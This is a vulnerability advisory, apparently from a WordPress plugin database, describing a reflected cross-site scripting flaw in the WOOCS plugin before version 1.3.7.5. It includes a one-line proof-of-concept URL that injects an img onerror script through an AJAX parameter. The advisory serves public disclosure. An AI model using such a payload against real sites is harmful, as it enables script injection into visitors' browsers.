WordPress Plugin Vulnerabilities

WOOCS < 1.3.7.5 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the woocs_in_order_currency parameter of the woocs_get_products_price_html AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response, leading to a Reflected Cross-Site Scripting

Proof of Concept

https://example.com/wp-admin/admin-ajax.php?action=woocs_get_products_price_html&woocs_in_order_currency=<img src onerror=alert(`XSS`)>

Affects Plugins

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-01-19 (about 2 years ago)
Added
2022-01-19 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)

Other